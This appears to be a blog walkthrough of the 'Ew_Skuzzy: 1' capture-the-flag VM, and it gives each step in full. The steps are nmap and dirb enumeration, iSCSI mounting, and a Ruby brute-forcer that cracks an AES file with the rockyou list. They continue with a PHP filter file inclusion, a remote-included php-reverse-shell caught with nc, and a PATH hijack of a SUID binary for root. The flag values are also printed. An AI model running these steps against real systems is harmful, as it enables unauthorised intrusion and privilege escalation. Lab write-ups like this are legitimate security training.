Ew_Skuzzy 1 – walkthrough

Today I am sharing my work log for the “Ew_Skuzzy: 1” CTF game. This game was released only recently, on the 17th of March 2017. As of time of writing, there haven’t been much information released about it. That adds another dimension to solving it and suits me fine.

As always I have based my work on Parrot instead of Kali Linux. These distribution appears more or less the same and you should have very little to no problems tagging along using either.

Enough chit chatter, lets dive in!

Word of advice

At the very start I ran into a wall. The target VM refused to pick up any IP addresses. After some fiddling in Virtualbox, I found out I had to change the network interface adapter:

Changing network adapter

After a quick reboot the virtual machine did what’s expected. Curiously, the VM prints the assigned IP address at the login prompt:

Showing assigned IP

Finding Host and uncover services

Since I already knew the target address, I just moved on discovering services right away:

Command
sudo nmap -p1-65535 -A -T4 -sS 192.168.110.13

Only a few exposed services were found:

Port	Service	Product	Hostname
22	ssh	OpenSSH
80	http	nginx
3260	iscsi

The game

Web

Web services are a common starting point on most CTF’s, so I started investigating on port 80 using Firefox:

Landing page

Looked at the HTML source for clues, but found nothing. What’s interesting here was the text itself. It specifically advocated to use dirbuster! I went on using dirb instead:

Command
dirb http:/ /192.168.110.13 -o dirb_index.txt

This took some time to complete. In the end I ended up with these paths for further investigation:

/index.html

/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/xmlrpc.php

/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affiliates/dba/program/font/index.html

Flag

Looking at each of these uncovered paths I found the last one interesting. I found the first flag hidden in the HTML source, or so I thought:

First flag

The text is Base64 encoded, decoded it reads:

Hello, is it flags you’re looking for?
I can see it in your eyes
I can see it in your smile
Flags are all I’ve ever wanted and my ports are open wide
Cause you know just what to say and you know just what to do
And I want to tell you so much, no flags for you…

So .. I got trolled. But all hope wasn’t lost. There was also a hint in the text about ports being wide open. It was time to look at the ports more closely!

Ports

There are three ports/services open. SSH didn’t print a welcome text, so that was a bust. That iSCSCI service sure appeared interesting! iSCSI is an acronym for Internet Small Computer Systems Interface, an Internet Protocol (IP)-based storage networking standard for linking data storage facilities. It is a protocol that allows clients to send SCSI commands to storage devices on remote servers. What on earth does it do here?

iSCSI

In order to toy with this protocol I needed an appropriate tool. Luckily, both Kali and Parrot Linux got tools in their repositories for such! Installing the open_iscsci package:

$ sudo apt install open-iscsi

With that package installed it was time to do some exploring! First I used a tool called iscsiadm, you can read up on it here!

$ iscsiadm -m discovery -t st -p 192.168.110.13:3260

This command spat out

Value
192.168.110.13:3260,1 iqn.2017-02.local.skuzzy:storage.sys0

This breaks down to:

• The IP address and port of the target
• Target name (iqn.2017-02.local.skuzzy) and volume name (storage.sys0)

With this in mind I tried to log in to access that volume:

$ sudo iscsiadm -m node -T iqn.2017-02.local.skuzzy:storage.sys0 -l -p 192.168.110.13:3260

This worked, just as the screenshot below shows:

Accessing volume

By running fdisk I found a new 1Gb device listed on my Parrot instance:

$ sudo /sbin/fdisk -l

New disk!

Next, moved on mounting device locally (from current directory):

$ sudo mkdir iscscidisk
$ sudo mount /dev/sdb iscscidisk
$ cd iscscidisk
$ ls

The ls command yielded:

Item	Type
bobsdisk.dsk	Linux disk, ext2 file system
flag1.txt	Text file
lost+found	Folder

Note: Got the file system information on bobsdisk.dsk by using the file command on it.

The first flag was in the flag1.txt file:

Congratulations! You’ve discovered the first flag!
flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}
Let’s see how you go with the next one…

Next candidate up for investigation was bobsdisk.dsk

Bobsdisk.dsk

I already know from running file utility on it that this was an Ext2 based disk image. I moved on mounting that one too! I did so in a neighboring directory were I mounted the iSCSI disk:

$ mkdir bobsdisk
$ sudo mount iscscidisk/bobsdisk.dsk bobsdisk -t ext2
$ cd bobsdisk
$ ls

The ls command yielded:

Item	Type
ToAlice.eml	Message to Alice, plain text
ToAlice.csv.enc	Encrypted file
lost+found	Folder

Looking through this folder I saw that the only file human readable was ToAllice.eml. It contained the second flag:

flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}

This file also contained several interesting hints:

• Bob is going to use symmetric keys from now on
• The sentence “Anyway, he said it won some big important competition among crypto geeks in October 2000” heavily hints at the Rijndael (AES) encryption
• The paragraph “You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It’s hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly.” Hints heavily on 256 bits CBC and that we have to use the ROCKYOU word list.
• This paragraph speaks for itself: “PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge…”

In order to crack this I whipped up a makeshift Ruby script automating things, the basis of my script was this command:

$ openssl aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out decrypted.txt -k

The Ruby script takes two arguments:

What	Value
Arg 1	Path to ROCKYOU wordlist
Arg 2	Path to encrypted file

The script, which was inefficient and slow, looked like this:

wordlist = ARGV[0]
encfile = ARGV[1]

lastentry = nil
counter = 1
File.readlines(wordlist).each do | line |
    begin
        line = line.strip()
        if line.length > 0
            decryptedfile = "cracked/%s-decrypted.txt" % [counter]
            command = "openssl aes-256-cbc -d -md sha256 -in %s -out %s -k \"%s\"" % [encfile, decryptedfile, line ]
            cmdres = system(command, :out => :close)
            puts("Current: #{counter} => #{line}")

            if cmdres == true
                File.open(decryptedfile,'a').write("\n\nPassword: #{line}\n").close()
            else
                File.delete(decryptedfile)
            end
        end
    rescue
        puts("Failed")
    end

    counter += 1
end

The wordlist is quite large and it took some time to complete the cracking process. This left me with a bunch of files, but a quick grep for the word hack revealed the unencrypted file. By looking at the integer in the filename I could look up the password in the ROCKYOU list:

$ vim rockyou.txt +theIntegerHere

The password was: supercalifragilisticoespialidoso and the message read:

Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I’ve seen? What is it?

The third flag: flag3{2cce194f49c6e423967b7f72316f48c5caf46e84}

Back to web

The above text hinted at some web paths. By just using the hash as paths I found that c2444910794e037ebd8aaf257178c90b lead to a more or less decent web page. Navigating around I soon enough landed on this page:

Feed Reader

I also saw this awkward looking URL:

URL
/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http:/ /127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

This URL could be divided in two parts:

• Server part: /c2444910794e037ebd8aaf257178c90b/?p=reader&url=
• External part: http:/ /127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

By external part I mean it refers to and read content from elsewhere. Both parts utilized hashes – there was a small change the latter part being accessible from the outside too! I rewrote the URL and opened it in Firefox:

URL
http:// 192.168.110.13/c2444910794e037ebd8aaf257178c90b/data.txt

And I got this page:

data.txt source

By the looks of it, this file appeared to be a PHP script, or was interpreted as one. There were some interesting hints in this file:

• ##php## appears to both open and close PHP
• PHP code seems to get interpreted as is, due to the call to print() function
• There’s a secret key involved

Understanding the key

A vital clue to progress was to figure out how the target load the data.txt file and how the key work. For that I headed back to FeedReader web page.

A closer inspection of the main web page yielded that navigation was handled through the GET parameter page. More so, I also saw that the feed was handled by the reader page, so the restrictions were almost certainly handled through that one. Injecting a PHP filter in the page parameter seemed feasible:

URL
http:/ /192.168.110.13/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php

The filter worked and it outputted the following Base64 encoded text (snippet):

reader.php in Base64

Text successfully decoded to PHP source (sample):

Key source

From looking at the source I saw there was some restrictions set on the key I was looking after:

• Key only required from source loaded externally
• Key has to have a length of 47 characters
• Reader detects well known trick using arrays
• sha256 hashing of key

Cracking this key didn’t seem feasible. I thought maybe the key was stored somewhere on the web page itself? I Applied some variations of the PHP filter from earlier:

URL
http:/ /192.168.110.13/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php

The flag were right under my nose all along! Fourth flag found in the source of flag.php:

Fourth flag

The comment hinted heavily on that I had to use the flag to progress further. Keeping that in mind and counting the characters I also saw that the length of the flag was 47 characters. Surely, I thought, this must be the key? Then I thought it was time to get shell?

Getting shell

I used my trusty Shelly shell, the one I’ve used for several CTF games. Note, this is done from Parrot, your paths may vary. Also, all commands were issued from current directory on the attacker machine:

What	Command
Shell	$ cp /usr/share/webshells/php/php-reverse-shell.php shelly.php
PHP server	php -S 192.168.110.6:3000
Listener	$ nc -lvp 44444

Then I replaced PHP opening and closing to ##php## and inserted my IP and listening port. Loaded the shell by visiting:

http:/ /192.168.110.13/c2444910794e037ebd8aaf257178c90b/?p=reader&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=http://192.168.110.6:3000/shelly.txt

And by this I got shell.

Shell

Just after getting shell I hurried improving my access by running:

Command
python -c ‘import pty;pty.spawn(“/bin/bash”)’

At this moment I was a bit perplexed what to do, so I retorted to finding if there’s anything that runs as root:

Command
cd /
find / -perm -4000 -user root 2> /dev/null

After a brief moment or two, I found a suspicious tool in /opt/alicebackup. Running it I saw it outputted:

Running alicebackup

This tools outputted some interesting information:

• uid, gid, groups (root)
• ssh command without absolute path

I’ve dealt with tools running commands without absolute paths before – so I started manipulating PATH:

Command
cd /tmp
echo “python -c ‘import pty;pty.spawn(\”/bin/sh\”)'” >> /tmp/ssh
export PATH=/tmp:$PATH
chmod a+x /tmp/ssh
cd /
/opt/alicebackup

Here I tried to take advantage of the _alicebackup command not using absolute pats, hoping it would pick up my version of ___ssh___. It didn’t. Perhaps luckier taking over the ___id___ command instead? Renamed my ___ssh___ script to ___id___:

Command
mv /tmp/ssh /tmp/id
/opt/alicebackup

This time around it worked:

Final flag

And done. Nice game! If you enjoyed this walk-through, please share and contact me on Twitter (@reedphish)!